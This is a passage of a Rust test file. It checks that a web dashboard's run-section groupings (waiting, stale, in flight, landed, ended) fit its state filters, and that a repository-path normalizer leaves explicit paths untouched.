8876 .expect("the done rule follows the shape list")
8877 + shapes_close
8878 + done_rule_marker.len();
8879 let includes_at = APP_JS[done_rule_at..]
8880 .find(".includes(shape.status)")
8881 .expect("the done rule ends in .includes(shape.status)")
8882 + done_rule_at;
8883 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8884 .trim()
8885 .trim_start_matches('[')
8886 .trim_end_matches(']')
8887 .split(',')
8888 .map(|s| s.trim().trim_matches('"'))
8889 .filter(|s| !s.is_empty())
8890 .collect();
8891
8892 let shapes: Vec<(bool, String, bool, bool)> = shapes
8893 .into_iter()
8894 .map(|(waiting, status, dead)| {
8895 let done = !not_done.contains(&status.as_str());
8896 (waiting, status, dead, done)
8897 })
8898 .collect();
8899
8900 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
8904 if waiting {
8905 return "waiting";
8906 }
8907 if dead
8908 && !matches!(
8909 status,
8910 "merged" | "ready" | "stalled" | "blocked" | "failed" | "verified_noop"
8911 )
8912 {
8913 return "stale";
8914 }
8915 match status {
8916 "merged" | "ready" => "landed",
8917 "stalled" | "blocked" | "failed" | "verified_noop" => "ended",
8918 _ => "flight",
8919 }
8920 }
8921
8922 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
8925 match filter_key {
8926 "active" => !done,
8927 "flight" => !done && !waiting && !dead,
8928 "stale" => !done && !waiting && dead,
8929 "waiting" => waiting,
8930 "done" => done,
8931 "all" => true,
8932 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
8933 }
8934 }
8935
8936 let compatible = |section: &str, filter_key: &str| {
8937 shapes.iter().any(|(waiting, status, dead, done)| {
8938 run_section(*waiting, status, *dead) == section
8939 && filter_matches(filter_key, *waiting, *dead, *done)
8940 })
8941 };
8942
8943 let expected = [
8948 ("waiting", [true, false, false, true, true, true]),
8949 ("stale", [true, false, true, false, false, true]),
8950 ("flight", [true, true, false, false, false, true]),
8951 ("landed", [false, false, false, false, true, true]),
8952 ("ended", [false, false, false, false, true, true]),
8953 ];
8954 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
8955
8956 for (section, wants) in expected {
8957 for (filter_key, want) in filter_keys.iter().zip(wants) {
8958 assert_eq!(
8959 compatible(section, filter_key),
8960 want,
8961 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
8962 );
8963 }
8964 }
8965
8966 assert!(
8969 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
8970 );
8971 assert!(APP_JS.contains(
8972 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
8973 ));
8974 assert!(APP_JS.contains(
8975 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
8976 ));
8977 }
8978
8979 #[tokio::test]
8980 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
8981 let dir = tempfile::tempdir().expect("tempdir");
8985 let explicit = dir.path().join("not-a-checkout");
8986 std::fs::create_dir_all(&explicit).expect("create dir");
8987 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
8988
8989 let missing = dir.path().join("does-not-exist-at-all");
8990 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
8991 }
8992}